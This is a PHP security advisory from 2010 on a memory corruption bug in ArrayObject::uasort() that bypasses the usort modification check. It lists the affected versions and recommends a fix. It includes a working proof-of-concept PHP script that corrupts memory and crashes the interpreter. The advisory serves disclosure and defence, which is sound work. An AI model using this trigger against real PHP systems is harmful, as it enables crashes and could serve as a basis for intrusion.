MOPS-2010-055: PHP ArrayObject::uasort() Interruption Memory Corruption Vulnerability

May 31st, 2010

PHP’s ArrayObject::uasort() method can be interrupted and used for memory corruption attacks.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser’s talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions.

In the above presentation the usort() function was exploited. This has been fixed by the PHP developers by adding a hack to the usort() and uasort() functions that tries to detect a modification of the array while being sorted. However because it is only a hack it is possible to bypass it in case of arrays that will not trigger the copy on write protection when deleting an element. In the past it was demonstrated that this can be achieved with the _SESSION array and session_unregister(). However it is also possible by simply using an ArrayObject and its internal uasort() method.

Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and crash. (On some systems it might even not crash.)

<?php
error_Reporting(E_ALL);
    $first = true;
    function uc($a,$b)
    {
        global $first;
       
        /* Detect 32 vs 64 bit */
        $i = 0x7fffffff;
        $i++;
        if (is_float($i)) {
            $y = str_repeat("A", 39);
        } else {
            $y = str_repeat("A", 67);      
        }    
        if ($first) {
        unset($GLOBALS['arr']["B"]);
        $GLOBALS['_____________________________________________________________________________a'] = 1;
        $GLOBALS['_____________________________________________________________________________b'] = 2;
        $GLOBALS['_____________________________________________________________________________x'] .= $y;
        }
        $first=false;
    }

    $arr = new ArrayObject(array("A" => str_repeat("A", 164),"B" => str_repeat("B", 164), "C" => str_repeat("C", 164), "D" => str_repeat("D", 164)));
   
    $arr->uasort("uc");
?>

Notes

We strongly recommend to fix this vulnerability by rewriting the zend_hash_sort() function to not work on a copy of the array but on the actual array and protect against modifications.




blog comments powered by Disqus